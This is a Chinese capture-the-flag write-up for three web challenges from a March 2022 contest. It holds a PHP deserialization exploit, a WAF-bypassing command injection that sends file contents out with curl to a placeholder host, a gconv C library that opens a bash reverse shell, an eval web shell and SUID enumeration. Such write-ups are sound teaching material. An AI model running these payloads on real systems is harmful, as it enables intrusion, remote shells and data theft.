Das 月赛合集

2022三月

Web

ezpop

简单的反序列化,直接给出 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class crow
{
public $v1;
public $v2;
}

class fin
{
public $f1;
}

class what
{
public $a;
}

class mix
{
public $m1;
}

$fin1 = new fin();
$what1 = new what();
$mix1 = new mix();
$crow1 = new crow();

$fin1->f1 = $what1;
$what1->a = $mix1;
$mix1->m1 = $crow1;

$fin2 = new fin();
$mix2 = new mix();

$crow1->v1 = $fin2;
$fin2->f1 = $mix2;
$mix2->m1 = "\n system('cat *');";

echo urlencode(serialize($fin1));

calc

源码中重要的地方就只有这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def waf(s):
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
'getattribute', 'func_globals', '__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag

@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"

可以看到 waf 设定了黑名单,ban 了很多东西,那走 eval 代码执行这条路就封了,但是下面有一个 os.system(log),这里会调用系统命令把 log 写入到 log.txt 中,而过 log 是不需要绕黑名单的,那好办。

` 反引号不在黑名单中,直接利用 log 进行 RCE。

tips: 直接 `ls` 的话,eval 会报错,所以要先注释掉。

123#`ls`

但是 os.system(log) 并未输出出来,所以还需要一个可以把 flag 显示出来的方法,利用 curl 外带。

`curl -d “`cat tmp/log.txt`“ http://your_ip:port\`

由于” “ 空格被 waf ban了,所以利用 %09 绕过

`curl%09-d%09”`cat%09tmp/log.txt`“%09http://your_ip:port\`

upgdstore

直接上传读取 phpinfo 没有拦截

1
<?php phpinfo();?>

发现 disable_function ban了很多函数

GCONV_PATHdisable_function

传入 gconv-modlues

1
2
module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module INTERNAL EXP// ../../../../../../../../tmp/exp 2

编译传入 exp.so 弹shell

exp.c

1
2
3
4
5
6
7
#include<stdlib.h>

void gconv() {}

void gconv_init(){
system("bash -c 'exec bash -i &>/dev/tcp/your_ip/port <&1'");
}

gcc exp.c -o exp.so -shared -fPIC

由于题目的 upload 中有 waf,所以可以仿造题目源码写一个 upload 入口点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$img_path = '/tmp/' . $file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Failed!';
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

存放路径就放在我们需要的 /tmp/ 中。

然后由于 upload 的 waf 大小写敏感,所以可以大写字母绕过获取 include,包含传入的 base64 编码后文件

1
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zM2EzNWFlNGE1YWY2ODJjN2E1ZDE1MDhjZTE3OWE0My5waHA="));?>

这样可以利用到上传点了

还可以利用这个方式传入一句话

1
<?php eval($_POST['cmd']);?>

就可以任意代码执行触发 exp.so

弹出 shell,但是没有权限读取 flag,利用 find 查看设置了 SUID 的文件。

find / -user root -perm -4000 -print 2>/dev/null

直接用 nl 读取。